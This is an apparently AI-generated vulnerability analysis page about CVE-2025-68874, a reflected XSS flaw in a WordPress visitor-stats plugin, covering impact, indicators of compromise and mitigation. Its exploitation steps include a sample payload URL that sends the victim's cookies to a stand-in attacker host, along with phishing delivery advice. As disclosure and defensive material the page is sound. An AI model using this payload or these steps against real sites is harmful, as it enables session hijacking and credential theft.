CVE-2025-68874
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-68874 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Shahjada Visitor Stats Widget WordPress plugin, affecting all versions up to and including 1.5.0. The vulnerability was reported by researcher Nguyen Xuan Chien on September 28, 2025, published by Patchstack on December 29, 2025, and assigned a CVE on January 8, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assessed by CISA-ADP (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or escaped before being reflected back in the generated web page, allowing an attacker to inject arbitrary JavaScript into the browser of a victim who clicks a crafted malicious link. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged or regular user must be tricked into clicking a malicious URL (Patchstack).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement via injected HTML/scripts, or further attacks against authenticated administrators. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other users or site functionality (Patchstack).

Exploitability

No public proof-of-concept exploit code has been identified at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. There is no evidence of in-the-wild exploitation or threat actor attribution, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Visitor Stats Widget plugin version ≤ 1.5.0 using tools like WPScan, Shodan, or Google dorks targeting the plugin's presence.
  2. Identify vulnerable parameter: Analyze the plugin's front-end or admin-facing pages to locate URL parameters that are reflected unsanitized in the HTTP response.
  3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://target-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedded link.
  5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

Indicators of compromise

  • Network: HTTP requests to the WordPress site containing URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, javascript:) in query parameters associated with the Visitor Stats Widget plugin.
  • Logs: Web server access logs showing GET requests with suspicious encoded payloads (e.g., %3Cscript%3E, %22%3E%3Cscript%3E) in plugin-related URL parameters; referrer headers pointing to external attacker-controlled domains.
  • Browser/Client-Side: Unexpected redirects or pop-ups experienced by users after clicking links related to the WordPress site; outbound requests from victim browsers to unknown external domains following page load.

Mitigation and workarounds

As of the disclosure date, no official patch from the plugin developer (Shahjada) is available for the Visitor Stats Widget plugin. Site administrators should consider deactivating and removing the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers of its service to block exploitation attempts in the interim (Patchstack). Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help reduce exposure.

Community reactions

The vulnerability was covered by Infinit Security and aggregated by several CVE tracking services shortly after disclosure. No notable vendor statements or significant researcher commentary beyond the Patchstack advisory have been identified. Community interest appears limited, consistent with the low EPSS score.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-19859MEDIUM6.5
  • jetformbuilder
NoYesSep 06, 2026
CVE-2026-85038MEDIUM5.3
  • b2bking-wholesale-for-woocommerce
NoYesSep 06, 2026
CVE-2026-80439MEDIUM4.8
  • wpcf7-redirect
NoYesSep 06, 2026
CVE-2026-80437MEDIUM4.8
  • ninja-forms
NoYesSep 06, 2026
CVE-2026-19862MEDIUM4.8
  • jetformbuilder
NoYesSep 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management